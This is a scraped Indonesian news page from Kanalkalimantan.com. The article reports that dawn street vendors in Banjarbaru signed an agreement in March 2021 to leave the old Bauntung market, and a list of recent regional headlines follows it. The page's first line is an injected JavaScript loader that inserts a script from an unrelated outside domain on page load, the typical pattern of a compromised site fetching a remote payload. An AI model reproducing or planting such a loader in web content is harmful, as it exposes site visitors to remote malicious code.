(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

BREAKING NEWS. PKL Subuh Akhirnya Terima Direlokasi


KANALKALIMANTAN.COM, BANJARBARU – Relokasi Pasar Bauntung Banjarbaru atas keberadaan ratusan Pedagang Kaki Lima (PKL) Subuh yang masih menempati pasar lama, akhirnya menemukan jalan keluar. Hasil kesepakatan dicapai, dimana para PKL akhirnya menyetujui untuk dipindahkan ke lokasi yang baru.

Menurut informasi yang diterima Kanalkalimantan.com, sebuah pertemuan diselenggarakan secara tertutup di kediaman Wakil Wali Kota Banjarbaru, Wartono pada Senin (8/3/2021) malam.
Pertemuan itu mengundang para perwakilan PKL guna menemukan solusi atas nasib keberadaan mereka.

Hasilnya, para PKL Subuh diwakili oleh Gusti Irwan menyetujui pemindahan mereka dengan menandatangi surat pernyataan di atas materai.

Penandatanganan kesepakatan itu juga disaksikan serta dilakukan oleh Wakil Wali Kota Banjarbaru Wartono, Kepala Dinas Perdagangan Abdul Basid, serta Kepala Satpol PP Marhain Rahman.

 

Sebagaimana diketahui, keberadaan PKL Subuh sempat menghambat jalannya relokasi Pasar Bauntung Banjarbaru.
Pihak Pemko Banjarbaru terpaksa harus menunda penutupan Pasar Bauntung di Jalan A Yani Km 34, lantaran keberadaan mereka tak kunjung mau direlokasi.

Alasan PKL Subuh menolak pergi dari pasar lama, diklaim lantaran mereka tidak diikutsertakan dalam pemindahan ke lokasi Pasar Bauntung yang berada di Jalan RO Ulin, Kecamatan Banjarbaru Selatan.

Memang rencana pemerintah relokasi ke pasar baru tersebut hanya dikhususkan bagi pedagang Pasar Bauntung Banjarbaru yang telah terdaftar selama ini oleh pihak pemerintah.

Namun disamping itu, sebenarnya Pemerintah Kota (Pemko) Banjarbaru telah mencarikan solusi atas nasib PKL Subuh. Salah satunya, yakni dengan menawarkan dipindahkan ke pasar Pondok Mangga. Sayangnya, tawaran tersebut ditolak mentah-mentah oleh para PKL.

Dengan hasil kesepakatan ini, pemerintah akhirnya bisa menjalankan tahap akhir dari relokasi pasar bauntung. Yakni, menutup secara permanen Pasar Bauntung yang selama ini kondisinya telah dianggap kumuh dan tidak terawat. (kanalkalimantan.com/rico)

Reporter : rico
Editor : bie


Al Ghifari

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

8 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

9 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

9 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

15 jam ago

This website uses cookies.